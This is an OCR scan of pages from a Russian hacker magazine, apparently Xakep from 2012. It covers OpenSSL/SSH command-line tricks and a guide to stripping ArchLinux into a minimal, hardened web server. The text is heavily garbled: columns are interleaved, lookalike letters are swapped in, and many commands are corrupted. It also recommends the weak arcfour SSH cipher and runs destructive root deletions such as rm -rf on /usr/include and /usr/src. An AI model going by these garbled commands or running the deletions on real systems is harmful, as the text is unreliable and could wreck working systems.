s.sh remotehost'.9P.kg .. - .:gеt-sеJ,е.с.t:LQns. '... J. ..\ ....... . dpkg ..с.~.S.еt.~.S.еJеС.t.iол.s .. (!.& .dseJeJ:;t .. j,nS.t.i!.H ..................... . Трюк номер

15 -

снимок удаленного экрана. Можно очень легко

получить изображение Х-сервера с удаленной машины, воспользо­ вавшись стандартным графическим пакетом

ImageMagick :

AES} : # ss.h. ч.sег@h.оs.t. ..::DJSP.L,A,,(= :.0 ..0 ..imР.ог1:.. : ~Jл.ф.w...\ ...

% openssl speeg ...:.e1<!p.s.e.\J ...:.evp aes-25б.-сЬс . t}'pe . аеs-25б-фс

...... _............... . lБWtеS._ .. Б4Меs ... 25бbytеs 1024bytes .. 819~ .t;Jy:tes. Д~. ~~k .. ~5.~1 ,?!:!k . 19!!578 . 08k ,31Д02..05lс ~~~Z:J. ..051<

r.oot ..: for.mat ...RlJg :" .1 disp.lay -fоr.m;!J .. Р!JК Чтобы сохранить его в файле , последнюю команду следУет за­ менить на « >

112

file .png ».

ХАКЕР

02/157/2012


Криптологический рай

Трюк номер

ускорение передачи данных . Если машины,

16 -

установления SSL-соединения. Для этого предназначена стан­

с которыми установлено соединение, находятся внутри заведомо

дартная команда

безопасной сети Iнапример, офис или домl, передачу данных сред­

соединения, нужно применить ее к команде

ствами

SSH

s_time.

Чтобы оценить скорость установки

SSL-

openssl:

можно несколько ускорить, если использовать менее

стойкий алгоритм шифрования. Для этого добавь в конфигураци­ онный файл следующие строки:

Host host.com Ciphers arcfour256 MACs umac-64@openssh.com Трюк номер

вывод звука с удаленной машины на локаль­

17 -

ную. Вместе с картинкой рабочего стола удаленной машины иногда

хочется получить и звук. Это делается с помощью банального

$ dd if;/devjdsp I ssh -с arcfour user@host dd of;/dev/dsp Трюк номер

То же самое можно проделать с помощью наиболее стойких алгоритмов:

dd:

\

запуск локального скрипта на удаленной ма­

18 -

$ openssl s_time -connect gmail.com:443 \ -www /test.html -new 103 connections in 0.75s; 137.33 connections/user sec, bytes read 42436 103 connections in 31 real seconds, 412 bytes read per connectiOl1

шине. Нередко требуется запустить скрипт на удаленной машине,

$ openssl s_time -ss13 -cipher HIGH \ -connect gmail.com:443 -www / -new 99 connections in 0.73s; 135.62 connections/user sec, bytes read 40788 99 connections in 31 real seconds, 412 bytes read per connection

однако копировать его туда совсем необязательно, достаточно Эти две команды позволяют определить максимальную про­

выполнить следующую простую команду:

пускную способность SSL-сервера . Но еще более интересный

$ ssh

способ заключается в тестировании всех поддерживаемых алго­

user@host < script.sh

ритмов. Для зто го нам придется прибегнуть к скриптингу:

1.11.0""

представляет собой систему защиты и сертификации

OpenSSL

данных, которая была разработана в ответ на создание протокола безопасных сокетов мнению,

OpenSSL

SSL

компанией

Netscape.

Вопреки расхожему

вовсе не является инструментом для реализации

SSL-протокола и может выполнять множество самых разнообраз­ ных функций, в том числе управлять ключами и сертификатами, рассчитывать хеши и т. д. Вот лишь неполный список возможно­

IFS;": " for с in $(openssl ciphers -ss13 RSA); do echo $с openssl s_time -connect host:443 -www / -new \ -time 10 -cipher $с 2>&1 I grep bytes echo done

стей этого криптографического комбайна:

создание ключей RSA и DSA и управление ими Iкоманды rsa, dsa,

• •

SSL-

создание сертификатов формата х509, формирование запросов

можно использовать, например, для тюнинга SSL-сервера . Если же

на сертификацию, восстановление Iкоманды х509,

SSL-сервера как такового еще нет, его легко эмулировать с помо­

req, verify, са,

щью самого

crl, pks12, pks71; •

Такая команда позволяет измерить скорость установки

соединения с помощью различных алгоритмов шифрования, что

dsaparaml;

симметричное и асимметричное шифрование данных Iкоманды епс, rsautll; расчетхешей Iкоманда dgstl; работа с S/MIME Iкоманда s/mimel. Также

OpenSSL

может быть использован для проверки

SSL-

OpenSSL.

На серверной машине запускаем

OpenSSL-

сервер:

$ openssl s_server -cert mycert.pem -www На клиентской выполняем следующую команду:

серверов и клиентов с помощью специальных команд s_client/s_

server

и для тестирования скорости работы различных алгоритмов

Iкоманда speedl . Мы не раз писали о работе с пакетом

OpenSSL,

$ openssl s_time -connect myhost:4433 \ -www / -new -ss13

поэтому не будем

рассматривать стандартные примеры его использования вроде

КЛИЕНТСКАЯ СТОРОНА

создания хешей и сертификатов, а сразу перейдем к более серьез­

Еще одна интересная команда

ным трюкам .

рая позволяет коннектиться к удаленным SSL-серверам для

OpenSSL -

это

s_client,

кото­

их тестирования. Чаще всего я использую зту команду, чтобы

ВРЕМЯ

-

ДЕНЬГИ

Одна из интересных особенностей

проверить дату выдачи сертификата. Для этого следует про­

OpenSSL

заключается в том, что

он может провести бенчмарк используемых алгоритмов и скорости

сто подключиться к удаленному SSL-серверу, дождаться, пока на экране появится информация о сертификате, а затем про-

> echo I openssl s client -connect www.google.com:443 2>/dev/null lopenssl х509 -dates -issuer -s ubject -noout notBefore=Oct 26 00:00:00 2011 GMT notAfter=Sep 30 23:59:59 2013 GMT issuer= /C=ZA/O=Thawte Consulting (Pty) Ltd,/CN=Thawte SGC СА subject= /C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com

>I Вычленяем нужную информацию из сертификата х509

ХАКЕР

021157/2012

113


UNIXOID

евгений 30бнин

> yes

12 .

I pV I ssh zobn i n(Qexecb i t . ru cat <=> 8МВ В:ВВ:В7 [ 131kB/s] [ 11

Тестируем скорость соединения с помощью

гнать его через всё тот же

SSH и

openssl,

> /dev/null

lexecbit.ruJ

ll

ро

чтобы вычленить даты . При

мощью одной простой команды можно обеспечить, например,

использовании одной команды всё это выглядиттак:

защищенную передачу файла по сети:

$ ..eJ;J19---' ... QР~JJ;;.~1 .. ;;_!:.l;i,.е!1.t ...:.С9rше.~j: .. \ ..........................._.......•.......... .... ..... www ...gQQgJ.е.•.с9JJ1.;.44.2 .. ~~jQеуjш,йJ ... I....l............ ................................ ..........QPe.IJ.;;.sJ .. xs.e~_ ..:.Q.<!.t~~ ...:.!J.QQJ,!1;............. IJ.Q.t/j.еfQr.(;!".Q!:.t....4б...е.е..:. е.е..:ее... 2.еJЭ, ...G1'1I. !J.Q1;.8f1;~г".$J:!Q .. .2е._~.2~ 5.~. :.2~....4еJ2 ...(jr1Т........ ................. _.........................

QI!1Рi;I.l;IшJJ9!!1~й$...сi!1; .. j ~tсj рj;I;;.s.w.Q ... I... QР.(;!. !1s.~1 .. .\ ........................................ _.........<!.~.S.c.4~.9.c.C.R.c....:.i!... c~....:.Pi!.sS... Р.<1S.ЕIJi!РQЛ~...J ... \ .................................. .._...... De1;.ci!t ...-.l ..=p ...!le.l:!.e......................_...... ........ ...... _........... [! Р.~!Jиt'1i!!9.L!шй$... !J.е1; C .<!.t...XQ.c.I.:.!!~!!e ..J ... Q.p.e,ns.~1 .. \ ........................................ .......... i!.!:!s. с2.$б.:.!:.R С .: .<1 ...:.Q... ср.i!.s.;;... Р.<! ~ S..:Лi! PQ!J.~...? ...P<!.~S.WQ............ .

Команду

s_client

можно также при менять для тестирования сер­

вера на уязвимость, заключающуюся в использовании нестойких

Можно также при менять и различные скрипты, чтобы автомати­

зировать шифрование множества файлов Iпароль в /tmp/passwd] :

алгоритмов шифрования:

.Ф ..I ...: f ..И . 1&.& . .l ................ ......QQе.r:1.~s.1...еJ)с ... с;;l.!:!.s. :. 2~б.:.J;.R!;... с s<!.Н ..=J!J... и .l ............... .......:.QI,!1;...$.f •..е!1.с....:.Р.<!.~s... jjJ~.;. f.tшр I.Р<!.~s.WQ... j ...QQD.e................ _............... .

$ .. fQГ... f. i.!1. .~ ...j $.. QP.e!1.~.sJ...~_cH~JJ1;....:.c9JJD.e!:.t..www .•gQQgJ!:!.•.!:9J.11;.#2. \ ..........:.!:Jp.b.er....~.QW ..................... _......................._.. _.............................................. . ш,J.ш;.с:п!).(ееш~е~е.~.) ............... _.. ...................._............ н.е2J ;ч5Jб.~е],5.f._:..еr:'гQ.с..:. :!А.е.z}.41е.:.$$J .. гQ~1;JГJ.еs ;.$.$L.~2_............. §JJ_$.~в.\(.Ея_I:!~JJ...Q.;.~s].-'!2 ...<11еrt ..hi!.о.Qs.h<!.k.е... fi!Jl.IJ.L~.;..S'n_ (!.д\: ....C..:.Q.2J:!.;...................................................................................................... Сервер, не поддерживающий нестойкие алгоритмы шифро­ вания, просто откажется устанавливать соединение, как это

и произошло в случае с сервером

Google .

Команда

s_client

..

Для расшифровки отдельно взятых файлов используем следую­ щую команду:

$...QР.еJ).s.~J....Еш.с....:.g._ =.<!.~.s = .f..~р.сJ;.Rс.:яJ1;... \ .......... ....:JГJ. .. ф.<1йл.•.еD.с ...:.QI,!1; ..jjJ!:!о.<!mе. .. \ ............. _....... ..........cP.i!.s.s.J i1e ;jp.<11;.bl.tQjpi\s.s.w.Q......... _............................................

также

довольно удобна для отладки различных протоколов Iв этом случае она выступает в виде SSL'HOrO Telnet] . Например:

ваться такой конструкцией:

$...op.eDssJ...~_c;Ij, ~JJ1;... c.~1;j,\rt1;J~... ~m1;p ..:.и'Jf .. \ ........... _........................... ......:.СQ!1Dе.~1; ...~m1:р. ,. gП!i!.~J ,.J;Qm;2.$..... .... _._ ................

$...1;.<!.г.... с ... К;;I.ыл9.[ ... I.. QР.~J).s;;J . .\ш.с ...:.<!.е~.:2.s.б.:.С-'К .. с.е... .\. ................. _.... . ...~....s!:!.Cr .e1;.•.1;.<I.t:.& IJ.C

ШИФРОВАНИЕ О шифровании с помощью

Для шифрования целого каталога проще , конечно , воспользо­

ОрепSSL удобно использовать для генерирования паролей:

OpenSSL

не писал только ленивый,

поэтому мы остановимся не на самих принципах шифрования, а на том, как его можно использовать для вспомогательных

задач. Утилита командной строки как и все остальные команды

openssl

UNIX,

$... QQ!:!.о.;;.S.1._L.<!лQ... J:!._.:.R.<!Я.б4. .................... .

Q~Hqt\l~l.e;;y"

удобна тем, что она,

может принимать данные

А сгенерировать хеш для записи в /etc/passwd можно так:

на вход и имеет для них стандартный выход. В результате с по-

#... QQ~.o.~s.J, .. Р.<!.~.s.W.Q....:J .. Л!у.сs.(;!!;.г.!!.t.:Q<!.~~............ $1.$WblAl,lbQI...$y.~If.<!§w$.e:!..KB~$.(9)g~1 ТР.е_................................._................ _... .

> openssl speed Doing md2 for 3s оп 1Б size blocks: 275891 md2's in 2.98s Doing md2 for 3s оп Б4 size blocks: 140724 md2's in 3.00s Doing md2 for 3s оп 25Б size blocks: 47083 md2's in 2.97s Doing md2 for 3s оп 1024 size blocks : 12940 md2's in 2 .98s Doing md2 for 3s оп 8192 size blocks : 1Б72 md2's in 2 .99s Doing mdc2 for 3s оп 1Б size blocks: 1482845 mdc2's in 2 .99s Doing mdc2 for 3s оп Б4 size blocks: 39712Б mdc2's in З.00s Doing mdc2 for 3s оп 25Б size blocks : 101018 mdc2's in 2 .99s Doing mdc2 for 3s оп 1024 size blocks: 25292 mdc2's in 2 .99s Doing mdc2 for 3s оп 8192 size blocks: 3177 mdc2's in 3.00s Doing md4 for 3s оп 1Б size blocks: 8539Б41 md4's in 2.99s Doing md4 for 3s оп Б4 size blocks: ББ85195 md4's in 2.99s Doing md4 for Зs оп 25Б size blocks: 4042Б87 md4's in 2.98s Doing md4 for 3s оп 1024 size blocks: 1554888 md4's in 2.99s Doing md4 for Зs оп 8192 size blocks: 232051 md4's in 2 .99s Doing md5 for 3s оп 1Б size blocks : Б28301Б md5's in 2 .98s Doing md5 for 3s оп Б4 size blocks: 48Б3942 md5's in 3.00s Doing md5 for Зs оп 25Б size blocks: 2811Б3Б md5's in 2.99s Doing md5 for Зs оп 1024 size blocks : 104Б145 md5's in 2 .99s Doing md5 for Зs оп 8192 size blocks: 152957 md5 ' s in 2 .99s Doing hmac(md5) for 3s оп 1Б size blocks : I Тестируем скорость алгоритмов с помощью команды

"Io

speed

Кстати, кодирование в

base64

может пригодиться для отправки

файлов, если двоичная передача данных не поддерживается :

$...t;:l.r. ...:.!;... ~.<!.I.aJ!.QcJ ...g.:?:.j,P....:.9... J ...QP.!:!DSSJ .. eD(;.. \ ....... ..........:.R;;I.~~.R4_. >... 1;.!:!х.1; =.П!~.s.s.аgе., t

х1; . ................... _..... _.. _.. ............................ .

Возможность генерирования случайны х данных можно исполь­ зовать для создания фиктивных МАС-адресов :

$ .. Pp.e.!l.S.~J ..r.<1DQ... =Dе Х .. б..J ....\. ......... .. _......~.eQ ...•..s/.\( ..... .\ 1L.\1.~ Lf!,; ... si .•.$I.I..' ............_....... _... _ n;.~.е .:~б;.f.c:t.:..$<!. :.~.~ ..

................ _... ..........................

':I§I:I.,(W Когда речь заходит о таких развитых, проверенных временем

и широко при меняемы х инструментах, как

OpenSSL

и

OpenSSH,

юниксоиды незамедлительно начинают приводить десятки приме­

ров их использования EI повседневной жизни . Иногда эти примеры кажутся простыми и обыденными, но иногда просто поражаешься на х одчивости разработчиков и пользователей этих программ.

ХАКЕР

:::J:

02/157/ 201 2


ОТ&ОРН bl Е · п родукты

СО ВСЕГО МИРД* Мы знаем , где в мире найти самые лучшие продукты . Вы знаете , что можете найти их рядом , под маркой

TASH


SYN/ACK

Евгений Зобнин

lexecbit. rul

ече ное зание ДЕЛАЕМ

МИНИМАЛИСТИЧНЫЙ LINUХ-ДИСТРИБУТИВ ДЛЯ КОНКРЕТНОГО СЕРВЕРА

Безопасность и надежность программной системы

обратно пропорциональны ее сложности. Но к современным

Liпuх-дистрибутивам эту

-

Хорошей практикой БУАет установка

утилиты

rkhunter,

которая сверяет

контрольные суммы системы ,

формулу применить довольно

чтобы выявить факт МОАификации файлов .

проблематично, так как, по

Чтобы запутать

общепринятому мнению, они

УАалить комаНАЫ

безопасны сами по себе. К сожалению, это не так, но в этой статье я расскажу и покажу, как

сделать

Linux действительно

взломщика, можно

uname и dmesg. переименовать ядро и внести соответствующие

изменения в /boot/

grubImenu.lst. то есть « обезличить»

Аистрибутив.

простой и очень'уСТОЙЧИВОЙ к взломам системой .

116

ХАКЕР

02/157/2012


Лечебное обрезание

ащиту операционной системы принято строить послойно. Первый , внешний слой отвечает за взаимодействие ОС с внешним миром, то есть зтот слой составляют сетевые сервисы, которые слушают определенные порты и отвечают на

запросы клиентов. К таким сервисам относятся любые демоны,

способные принимать сетевые сообщения, например сервера, сервер

ON5,

web-

и

ftp-

почтовый сервер и т. д . Защиту этого слоя

обеспечи вают программисты, которые следят за безопасностью кода , и администратор, своевременно накладывающий заплатки и правильно конфигурирующий сетевые сервисы . Второй слой, или рубеж обороны,

-

зто сама система, которая не должна по ­

зволить взломщику добраться до конфиденциальных данных или изменить важные системные файлы в случае нарушения границ первого слоя .

В идеале второму слою защиты нужно уделять не меньше

МНОГИЕ ДИСТРИБУТИВЫ ПО УМОЛЧАНИЮ ВКЛЮЧАЮТ В СЕБЯ СРЕДСТВА СБОРКИ

ПРИЛОЖЕНИЙ, РАЗЛИЧНЫЕ ИНСТРУМЕНТЫ, КАЖДЫЙ ИЗ КОТОРЫХ МОЖЕТ ИСПОЛЬЗОВАТЬ ВЗЛОМЩИК

внимания, чем первому, однако многие сисадмины пренебрегают э тим, предпочитая полагаться на разработчиков дистриб ути-

ва , которые якобы уже позаботились о надежной защите с воих

Все остальные компоненты типичного сервера, такие как

продуктов . Это, конечно же, не так. Современные дистрибутивы

FТP -cep Bep,

-

меньше в системе лишних се рвисов , тем меньше шансов у взлом­

э то универсальные операционные системы, рассчитанные на

применение в самых разных областях и на решени е различны х

sendmail,

и прочую шелу ху можно выкинуть. Чем

щика .

задач . В них входит множество компонентов, которые соз дают

потенциальную опасность и при зтом вряд ли когда-нибудь тебе

ЧАСТЬ

2.

ПОДГОТОВКА КАРКАСА

понадобятся. Многие дистрибутивы по умолчанию включают в

Существует множестВо способов собрать собственный дистрибу­

себя средства сборки приложений, различные сетевые и диагно­

тив в домашних условиях, но все они требуют времени и терпе­

стические инструменты, каждый из которых может исполь зова ть

ния. Мы поступим проще: возьмем обычный Liпuх-дистрибутив

взломщик.

и вырежем из него все лишнее. На роль подопытного хорошо

Самый верный способ обезопасить сервер в зтой ситуации­ зто самому создать дистрибутив, ориентированный на решение конкретной задачи и лишенный все х те х компонентов, которые взломщик может использовать для получения сведений о систе­ ме, повышения с вои х прав или установки бэкдора.

п о дойдет

ArchLinux,

один из самых просты х и легких дистрибу­

тивов [ты, конечно, можешь выбрать что-нибудь другое вроде 51ackware или Gentoo, но сути зто не поменяет). Получить базовую версию ArchLinux можно, например, с сервера Yandex [прямой линк на х86_64-сборку: http://goo.gl/EZRtQ ). По сле за гру зки 150-0браз следует скормить виртуальной машине и

ЧАСТЬ

1. ПОСТАНОВКА

ЗАДАЧИ

ус тановить дистрибутив на виртуальный жесткий диск. Проблем

И так, мы решили сделать свой профильный дистрибутив. Пре­

во время установки возникнуть не должно : запускаем инсталлятор

жде всего мы должны определиться с функциями, которые будет

командой /arch/setup, выбираем «5elect 50urce», жмем <Enter>, вы­ бираем « Ргераге hard drive[s» >, в ответ на все вопросы жмем <Enter>,

выполнять ос. Здесь можно придумать массу вариантов, но я предлагаю остановиться на самом ра с пространенном: дистрибу­

тив для web-сервера. Наш будущий дистрибутив будет отвечать за х остинг web-сайтов , причем не статических, а написанных с

использованием фреймварка

Orup al?

Ojango . Почему не PHP+Ojoomla/

Да потому, что я их не люблю!

Таким образом, в дистрибутив должны входить как минимум пять сервиса в:

в последнем окне выбираем ФС ext2. Далее «5elect Packages», <Enter> в ответ на вс е вопросы . Затем выбираем «Configure system», жмем <Enter>, в следующем окне выбираем Оопе. Выбираем «I nstall bootloader», выходим из редактора, а когда получаем предложение изменить /boot/grub.conf, жмем <Enter> и, наконец , «Exit install».

Перезагружаем машину [не забываем отключить 150-0браз) . После установки системы и за грузки виртуальной машины

1. Сам web-сервер [к черту Apache, nginx - наше все) . 2. Дистрибутив Python, который будет отвечать за работу Ojango. 3. Ojango, на котором будут написаны саЙты . 4. Postgre5QL, которая будетхранитьданные .

заходим в систему под учетной записью гоо! [пустой пароль) и

5.

поэтому обычно достаточно только запустить ОНСР-клиент:

55Н для удаленного управления.

начинаем разбираться с содержимым системы. Прежде всего не­

обходимо об новить все ее пакеты . Но сначала следует настроить сеть. Нормальные виртуалки имеют встроенный ОНСР-сервер,

,

!t"!lt;;4Ч9

э

Ь

Set cloc. rl"ep.re Jaar4 ... lveCa) se lect '.с....е. 1•• t.1I ..с ....еа

7

Со'" I . .

4 5 в

9

Загрузка

ХАКЕР

ArchLinux

02/157/2012

re .".tn

In.t.1I lюatl0А4еr Exlt 1•• UIl

Главное окно инсталлятора

117


SYN\ACK # dhcpcd eth8 Теперь, чтобы указать менеджеру Растап на нужный репози­

торий, добавляем в файл /etc/pacman.d/mirrorlist две строки: ~erver = ftp://mirror .. yandex.rujarchlinux/$repojos/$arch Server = http://mirrQ.r .. yandex. ru/archlinux/$repo/ os/$arch

Use tlle U•••4 JOIIII .r....... to ..... I,.te ...tt08S .04 IllТEB to select.

, 3 1 5

RDUS.

Use

ТАВ

to _l tch lletweeo

. . . " art t oll.r lues "".... Н" Co.... I........ lock 4e.. lces. rlles"ste_ .n4 "01l1tpolots Во11мс" Вetllr.

1.8t С11е_Ц. to ""1......

с ...... еа

("001 40n't

"ее4

to 40 thls)

и запускаем процесс обновления:

#

расmап

-Syu

Возможно, при первом запуске обновится только сам Растап. В этом случае следует выполнить команду второй раз. Далее устанавливаем необходимые для функционирования сер­

вера компоненты. В моем случае это пgiпх, Python, Django и

в окне, предлагающем варианты разбивки диска, следует выбрать весь диск

PostgreSQL :

# #

расmап

расmап

-R cryptsetup device-mapper lvm2 mdadm \ xfsprogs jfsutils reiserfsprogs

-S nginx python2 django

Далее можно избавиться от неиспользуемых инструментов

Запоминаем, какие зависимости были установлены в про­

цессе (чтобы ненароком не удалить их на следующем этапе

управления сетью и связанных с ними библиотек и зависимостей:

ковыряния). У меня получилось всего четыре зависимости: libffi, postgresql-libs, libxml2 и sqlite3, но ее как раз можно удалить,

#

расmап

-R iputils keyutils krb5 heirloom-mailx ррр \ wget dbus-core wpa_supplicant libpcap libnl libldap

поскольку есть Постгрес. Делаем снимок состояния диска вирту­

альной машины (это очень важно) . При необходимости выключа­ Различные утилиты для управления USВ-оборудованием, PCI-

ем ВМ, делаем снимок и снова включаем.

Теперь мы должны удалить все лишние пакеты. Для начала

и РСМСIА-устройствами на сервере нам тоже не нужны:

выясним, что вообще сейчас установлено:

# #

расmап

расmап

-R usbutils pcmciautils sysfsutils

-Qs Также можно избавиться от некоторых оставшихся библиотек :

Список не такой уж и длинный, но больше половины из всего вышеперечисленного нам точно не нужно. Во-первых, мы долж­

#

расmап

-R libpipeline libsasl libgcrypt libgpg-error

ны избавиться от инструментов сборки. По умолчанию в Арче нет

GCC, но зато есть пакет binutils, который содержит линковщик, архиватор статических библиотек и другие инструменты:

#

расmап

На этом процесс подготовки закончен , и мы можем пере х о­ дить к основной задаче.

ЧАСТЬ

-R binutiLs

3. РЕЖЕМ

ВСЕ. ЧТО УШЛО из-под НОЖА

Мы удалили только малую часть того, что не потребуется на Далее удалим ненужные пакеты, например документацию и

сервере, однако другие пакеты и зависимости дистрибутива

mап-страницы:

также содержат множество ненужных библиотек и утилит. Сей­

# расmап -R licenses .groff man-db man-pages texinfo

лишнего .

час мы пройдемся по системе и попробуем избавиться от всего

А лишнего много. Например, ArchLinux не разделяет пакеты Избавимся также от инструментов управления различными

на -dev и бинарные, поэтому каталог /usr/include содержит в себе

файловыми системами и настройки RАID-массивов. Те из них,

множество совершенно бесполезных и даже опасных заголовоч­

которые могут быть нужны на сервере, оставим на месте:

ных файлов. Избавимся от ни х с помощью следующей простой команды :

# rm -rf jusr/include По той же причине каталог /usr/lib содержит большое коли­

ХАКЕРЫ ОЧЕНЬ

чество статических библиотек, которые не нужны для работы

ЛЮБЯТ ИСПОЛЬЗОВАТЬ РАЗЛИЧНЫЕ УТИЛИТЫ

ДЛЯ МАНИПУЛИРОВАНИЯ РАСШИРЕННЫМИ АТРИБУТАМИ

системы, но могут быть использованы для сборки софта. Удаляем их:

# rm /usr/lib/*.a В каталогах /Ып, /sbin , /usr/bin, /usr/sbin имеется множество утилит и команд, которые были установлены как часть других па­ кетов, но сами по себе могут нанести вред серверу. В качестве при­

ФАЙЛОВОЙ СИСТЕМЫ,

файловой системой и таблицей разделов, утилиты для управления

ПРАВАМИ

работающем настроенном сервере пользы от них не так мног о .

118

ACL И

Т.П.

мера можно привести различные утилиты для манипулирования

расширенными атрибутами файлов, создания пакетов и т. д. На

ХАКЕР

02/1 57/2012


Лечебное обрезание

Для начала избавимся от низкуровневых утилит управления

# rm Jusr/sbinfcJlCQn

файловой системой:

На этом можно было бы остановиться, но Арч по умолчанию

# rm /sbin/{badblocks,debugfs,dumpe2fs,e2image,e21abel, ~

содержит набор инструментов

e2undo,resize2fs,tune2fs}

некоторых (весьма полезных, кстатиl модулей РАМ, но при этом

cracklib,

который необходим для

может быть использован для взлома паролей. Его, естествен н о, Теперь удалим инструменты управления таблицей разделов.

лучше удалить:

Вряд ли взломщик будет их использовать, но чем черт не шутит :

# rm /usr/sbinj~racklib* # rm -rf /usrjshare/{cracklib,dict}

# rm /sbin/{fdisk,cfdisk,sfdisk}

В завершение удаляем менеджер пакетов. Да-да, все что

Также можно избавиться от утилит для создания файловых

нужно мы уже установили, а для обновления дистрибутива будем

систем и swар-разделов:

использовать метод, приведенный в конце статьи .

# rm /sbin/mkfs.* # rm /sbin/mkswap Заодно удалим

dd

и

# # # #

in5tall :

rm /usrlЬiп/р~сщап* rm /usrjbin/m<!kep)<g rm /еtс/расm<!л* rm -rf /var / C<ic.iJe/pacman

# rm /bin/{dd,install} Ну и подчистим разные ненужности. Например, удалим фай­ Теперь самое важное. Хакеры очень любят использовать раз­

лы, требующиеся для сборки образа

initrd:

личные утилиты для манипулирования расширенными атрибу­ тами файловой системы, правами

ACL,

файловыми

capabilitie5

# rm -rf

/lib/init~piQ

для защиты своих файлов от удаления/модификации или для де­ легирования приложениям расширенных прав доступа. Многие

Уберем из системы ненужные каталоги:

админы могут даже не знать обо всех этих методах, поэтому они пользуются особой популярностью . К счастью, мы можем защи­

# rm -rf /media /opt /usr/local

тить себя от подобных махинаций, просто удалив такие утилиты

(вообще-то, они распространяются в отдельных пакетах, но кро­ ме самих утилит эти пакеты включают в себя еще и библиотеки,

Удалим ядро с отладочной информацией (вместе с каталогом

/U5r/5rcl:

необходимые для работы других нужных нам софтинl. Итак, избавляемся от утилит управления мандатными права­

ми доступа (пакет

# rm -rf

/usrjsrc~

acll: Теперь, когда мы изба вились от лишнего софта, можно

пройтись по каталогам /Iib /U5r/lib и удалить неиспользуемые библиотеки (вряд ли их будет много, но лучше сделать этоl. Спи­

# rm /usr/bin/{chacl,getfacl,setfacl} Далее удаляем утилиты для манипулирования расширенными

сок нужных библиотек можно получить с помощью следующей

атрибутами файлов (пакет attrl:

команды:

# rm /usr/bin/{chattr,lsattr,getfattr,setfattr}

# find Ibin jsbj.n jusr/bin /usr/sbin

И конечно же, утилиты управления capabIities (пакет libcapl:

1\

xargs ldd 1 EreR '\.so' 1\ cut -d' 'cf... JJsed 's/Л[ \tJ*//'J\ .......... _...... _.... sort 1 uniq ..

# rm jusr/sbinj{getcap,se.tc;lp} Также отправим в /dev/null утилиту для изменения контекста

библиотеки можно смело удалять.

безопасности:

Список зависимых библиотек можно получить с помощью

ХАКЕР

02/157/2012

Его можно сохранить в файле и с помощью команды diff срав­ нить с выводом команды «15 -1 /Iib /u5r/lib ». Все не совпадающие

Idd

Устанавливаем нужный софт

119


SYN\ACK ЧАСТЬ

4. НАСТРАИВАЕМ

СЕРВЕР

Настроим брандмауэр так, чтобы открытыми оставались толь­

Теперь у нас есть система, очищенная от х лама, но к работе она

ко порты

22 и 80 [SSH и НТТР!:

пока не готова . Сейчас мы должны настроить сервер, то есть

ngin x,

Постгре с,

Django

и другие компоненты. Как это сделать,

я рассказывать не буду, все уже описано до меня. Скажу только, что корнем веб-сервера и Djапgо-проектов следует сделать какой-нибудь каталог в корне файловой системы, например

/www [в нем можно создать два каталога: http - с татика и django - скрипты!. Это необходимо для того, чтобы в дальней­ шем со строгими ограничениями смонтировать для каталога

отдельный раздел. Чтобы все работало , выполним базовую настройку системы

и добавим в автозагрузку

nginx

и остальные демоны.

ArchLinu x

не делает это автоматически, позтому придется править /etc/ гс.соп! :

1t ...(:Т!!!:I.д.<J.Р.тН.а!!... D.R!.I.!Пи.к.i!............................................................................ j,.Р.t.,Ii;>JЕ'!.~ ....:l'...INР.I,II . RJш.Р.......... .. ................... .. ........ _ ...... .. j, p,t.aЬ :).J~.~ ... :А .. JNР.uJ ...:.i ..1R... с j ...I\~ц.P.J ..... ............ . 1t.. J:lеб.RJ!!?UJа.!!...".а.!!l~Та...QI....QR.5. ...................... j,.Qt.i;I Ь). E'!.~ ...cA.. JNJ'!JJ... с R..,tc:.P...: m...t.C.P ...:..-.t.<::.Р.с.f!.i;I. g~. .~ ........ $.'(N.,Ас;К,.ЕI,N,я.$.I.. я.5.I ...:.m . JJm.Н....:.: Jj,mit..J/ s - j .f!.(:.Cf.PT 1t... Р.~эРе.ш.<lе..М.. J1)!(е.. У..r;.I.<I.I:I.Q .В.лЕ'!. !iJ:!~.е...r;.9.~д~J:!е.t!!1.!!...... . ;i,p.t .i;lble.!; .. ~iI, .. JHP.U.I ...: P....i;lJJ...c.m. .. ~.t.<lte. .. с. - st<!t.e.... \ .... RЕ:~..l\П.Q>.~.:iIМ! ~.I$ш.R....: j ...I\~ч.Р.I ........................ . #.. Н.ащ.М ..!1QPT~........................................................................... j,p,tabJg~...:.A.. J.NP.\.II ...:.i... ~.tM... :R..,tc:.P...: :.cJP9.r:t... ,22,. c j.l\~.(:E.PJ i.рt.,фlеs ..:.I\...INPUJ....:J ..gtbl;l...: P.. tr;.P... :. ~ QРQг.t...а.е ...-j.. .АСцРТ..

H.Q:iJN.I\r1~.=. ".e.~ampJe..•.!;.Qm.:· ....

1t .. .Р.а.зР.еw<l.е.М... !:I.е.I(QТ:QР~.е. .. д.r1Р. : r;..Q.о..q.l!lени.!1 ............... . j,Рtар.~!i!.~... ~.I\.. JNР.!П... ~J...gtЬ~ ...:.Р.. ;i.сmR... ~m .. Jс:.mр... \ .... ..

#. .. НаСТР9Я!S.а ...С~.I.е.!I.Q[.Q...~.НI.Е'!РtI>е.Яса.... ........................

i.R!:.,фJ.еs ...: ..l\.. JNР.I.!Т....:J ...е.:t!!.е

IСИ",я . х9.!;Та........................

j,D.);~. r:,fi!.c.e..::~J.b!')....................................................................................... ;cHj.Qr.E'!:; ~'".1.•.2.•.J ..~........................................................................................................ n.е.);J!щ~~=.2.:i.~ .•.z55 . ).~5.•.f)............. . br.Qag.<::.a~.);.::1.,,2,. 3 .:'1, ................. ... .................... . ..................... ga);e.wa}'::J •.2.•.J .A ............................................. .

.. ... :.:.i.сmR:,tу.р~ ...3....-.j .. .iК~JР.Т........................ .. ..:.p... i.r;.mp...clJ1 .J .<::.mR..\ ....................... ..... :.с.i.сm.р:,tУ.р.е. ...ц ...: j ...AC.~.Ei>J. . .................. . . j,P.ti!P. !е:;....:.А .. J.NРJП ...:,!... е..t!!.е ...: P.. Jc:.IJ1P....:m.. .i.~.mP ... \ . ...:.:i.r;.mp.::.tJlP.e. ..J2. ...:.j,.ACc.~PT............................................ и последняя, но очень важная настройка: запрет на выполне­

ние системных действий после окончания загрузки дистрибутива.

!t.. Jа.[]У.!; .К.а.е.МJ>!~.. ЛР.Iot... П.<J.lпе.... СЖЛ~М.Ь! .. .д.Е'!М9.НJ>! ................................. RА~r1Q~:i=.(!!~К:)..Q.<::.k ...~У.~J9Е.:пg.л.Е'!J\i.Qг.~ ...с.r:Q[Н:1... РQ~.t.r~.~!1), .. ngim,,) .. Для индивидуального запуска/остановки демонов можно ис­ пользовать скрипты каталога

